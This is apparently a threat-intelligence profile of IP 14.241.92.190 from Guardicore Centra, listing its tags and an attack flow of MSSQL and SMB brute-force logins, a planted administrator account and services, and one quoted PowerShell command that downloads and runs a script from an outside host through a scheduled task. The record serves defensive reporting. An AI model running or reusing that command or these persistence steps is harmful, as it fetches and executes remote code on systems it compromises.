IP Address: 14.241.92.190Malicious

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IP Address:
14.241.92.190​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

-

Tags

SMB Share Connect Service Creation Scheduled Task Creation User Created Successful SMB Login IDS - Attempted User Privilege Gain Download and Execute SMB CMD Successful MSSQL Login IDS - A Network Trojan was detected SMB Brute Force User Added to Group File Operation By CMD Service Deletion MSSQL Service Start Execute MsSql Shell Command Listening

Associated Attack Servers

-

Basic Information

IP Address

14.241.92.190

Domain

-

ISP

Vietnam Posts And Telecommunications Group

Country

Viet Nam

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-06-09

Last seen in Guardicore Centra

2020-11-09

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

A user logged in using MSSQL with the following credentials: sa / ******** - Authentication policy: White List

Successful MSSQL Login

A user logged in using MSSQL with the following credentials: sa / ******** - Authentication policy: Previously Approved User

Successful MSSQL Login

MSSQL executed 1 shell commands

Execute MsSql Shell Command

User k8h3d was created with the password *********** added to groups: Administrators and logged in using SMB

Successful SMB Login User Added to Group User Created

A user logged in using SMB with the following username: k8h3d - Authentication policy: Correct Password (Part of a Brute Force Attempt)

Successful SMB Login SMB Brute Force

The file C:\Windows\ASqGFBRV.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\asqgfbrv.exe as a service named fRTP under service group None

Service Start Service Creation

A user logged in using SMB from TUANANH-KD with the following username: administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

Successful SMB Login SMB Brute Force

A user logged in using SMB from TUANANH-KD with the following username: administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)

Successful SMB Login SMB Brute Force

IDS detected A Network Trojan was detected : Powershell Activity Over SMB - Likely Lateral Movement

IDS - A Network Trojan was detected

IDS detected A Network Trojan was detected : Powershell Command With No Profile Argument Over SMB - Likely Lateral Movement

IDS - A Network Trojan was detected

c:\windows\system32\services.exe installed and started as a service named OOSTDLXALPCIIIRUOHFJ under service group None

Service Start Service Creation

Process netsvcs Service Group started listening on ports: 65529

Listening

The command line powershell -nop -ep bypass -c "IEX(New-Object System.Net.WebClient).DownloadString(\"http://t.awcna.com/ipc.jsp?h\")" was scheduled to run by modifying C:\Windows\System32\Tasks\Rtsa

Connection was closed due to timeout

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IP Address: 14.241.92.190​Malicious